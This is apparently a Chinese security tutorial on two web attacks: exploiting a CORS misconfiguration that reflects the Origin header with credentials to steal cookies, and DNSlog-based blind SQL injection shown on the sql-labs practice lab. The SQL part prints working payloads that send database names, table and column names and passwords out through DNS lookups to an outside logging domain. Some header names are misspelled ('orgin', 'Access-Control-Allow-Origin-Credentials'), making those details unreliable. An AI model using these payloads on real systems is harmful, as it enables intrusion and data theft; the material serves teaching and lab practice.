同源策略

0x01 什么是源

源(origin)就是协议、域名和端口号

0x02 什么是同源策略

同源策略是浏览器的一个安全功能,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。所以a.com下的js脚本采用ajax读取b.com里面的文件数据是会报错的

怎样进行跨域

jsonp与cors两种标准
还有html标签也能跨域,有以下几种
img, iframe,ink, script

cors流程

在配置了cors的前题下,当你登录网站A,并跨域访问网站B的时候,浏览器判断你的操作是跨域,这时候会在数据包里面加个orgin字段,内容为:orgin:b.com ,这样你就能跨域了。

漏洞产生原因

前面说了,设置了orgin就能进行跨域访问。而如果配置cors不当的话,如Access-Control-Allow-Orgin:* 的话,就有可能存在问题。
Access-Control-Allow-Origin这个字段的意思是允许跨域访问的网站,配置为* 的话,默认就能跨域访问所有网站,也就是说orgin这个字段是可控的。当然仅仅有一个orgin字段还不行,这里要说下
Access-Control-Allow-Origin-Credentials这个字段。这个字段的意思是是否带cookie跨域访问网站,如果为true的话,就是允许带着cookie跨域访问b网站。所以说,如果攻击者把orgin:设置成自己搭建的网站,功能为接收受害者的cookie。而Access-Control-Allow-Origin-Credentials又设置成true,这时候我们就可以说存在漏洞了

漏洞利用条件

看到前面漏洞产生原因,主要是Access-Control-Allow-Orgin:* 和Access-Control-Allow-Origin-Credentials:true这两个问题。有人可能要问了,这两个成立的话就会存在漏洞?答案是否定的。因为当你跨域的时候,浏览器看到你这两个的设置,会认为是不安全的,就是会拦截你的操作。而Access-Control-Allow-Orgin绑定了一个网站,但是对值没进行一个校验,也就是攻击者抓包把orgin改了,而网站没进行校验,就存在漏洞

所以

Access-Control-Allow-Orgin:XXXXX.com
Access-Control-Allow-Origin-Credentials: true

---可能存在漏洞

Access-Control-Allow-Orgin:*
Access-Control-Allow-Origin-Credentials: true

--- 不存在漏洞

攻击流程

攻击者利用cors漏洞把A.com的orgin改成接收用户信息的在线脚本B.com,然后生成一个链接引诱受害者去点击,如果受害者正好登录了A.com 并且点击了这个链接,则会把cookie发送到B.com

实战演示

avatar
首先是一个这样 的界面,然后我们抓包,发现有Orgin字段
avatar
我们把orgin改为我的博客地址试试
avatar
发现Access-Control-Allow-Orgin已经为我的博客地址并且Access-Control-Allow-Origin-Credentials: true。说明存在这个漏洞

因为要接收受害者的信息,这里我们要搭建个poc来接收,这里我就直接用米斯特的poc平台了。
首先把刚才测试的url复制一下,然后放到里面
DNTnF.png
这里生成了poc。我们可以把它发给受害者,如果受害者点击了这个poc。信息就会被我们接收

漏洞修复

Access-Control-Allow-Origin-Credentials:设置为false。如果有需求设置成true的话,就对orgin进行一个校验

背景

当我们碰到一个sql盲注的时候,一般是利用二分法,一个个字符的猜。这样很麻烦,还有可能因为请求次数过多,被防火墙拦截ban ip
这时候就可以利用dnslog来进行注入

注入流程

常规的注入流程就是攻击者通过get方式或者post方式传输payload,然后受害者服务器经过sql查询把数据返回给攻击者

用dnslog的方式就是把payload通过dns请求发送,然后看dns日志就获取到数据了

注册dnslog平台

因为要有个平台接收dnslog。这里我们用CEYE - Monitor service for security testing>这个平台注册个账号,然后打开个人中心
d2901c78.png
这里已经给我们分配好了一个二级域名,我们利用这个进行注入

要用到的知识

Load_File()
load_file(filename)读取文件并返回文件内容为字符串.使用此函数需要满足以下条件: (1).所读文件必须在服务器上,且必须指定文件其绝对路径 (2).连接当前数据库用户必须有FILE权限 (3).文件内容必须小于max_allowed_packet
concat
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

unc
UNC路径就是类似\softer这样的形式的网络路径。
UNC为网络(主要指局域网)上资源的完整 Windows 2000 名称。
格式: \servernamesharename ,其中 servername 是服务器名,sharename 是共享资源的名称。

实战

这里使用sql-labs第五关来进行演示

查询数据库

Payload:

and if((SELECT LOAD_FILE(CONCAT('\\\\',(select database()),'.wazdfr.ceye.io\\abc'))),0,1)--+

其实语句就变成了\\database.wazdfr.ceye.io\abc
把查询到的数据放到三级域名上了。

b5c939cf.png
然后查看下dns平台,发现数据已经返回过来了

698104ea.png

查询表名

Payload:

and if((SELECT LOAD_FILE(CONCAT('\\\\',(select table_name from information_schema.tables where table_schema=数据库名 limit 0,1),'.wazdfr.ceye.io\\abc'))),0,1)--+

这里要注意下,因为load_file一次只能读取一条数据,所以这里用limit控制输出,后面的payload同理
0702f3f7.png

查询列名

Payload:

and if((SELECT LOAD_FILE(CONCAT('\\\\',(select column_name from information_schema.columns where table_name=表名 limit 0,1),'.wazdfr.ceye.io\\abc'))),0,1)--+

212a90fe.png

查询数据

Payload:

and if((SELECT LOAD_FILE(CONCAT('\\\\',(select password from users  limit 0,1),'.wazdfr.ceye.io\\abc'))),1,1)--+

bfe9228e.png

总结

利用dnslog注入适用于盲注等无回显的场景,当然也不只是注入,其他如xss,ssrf等无回显都可以利用dnslog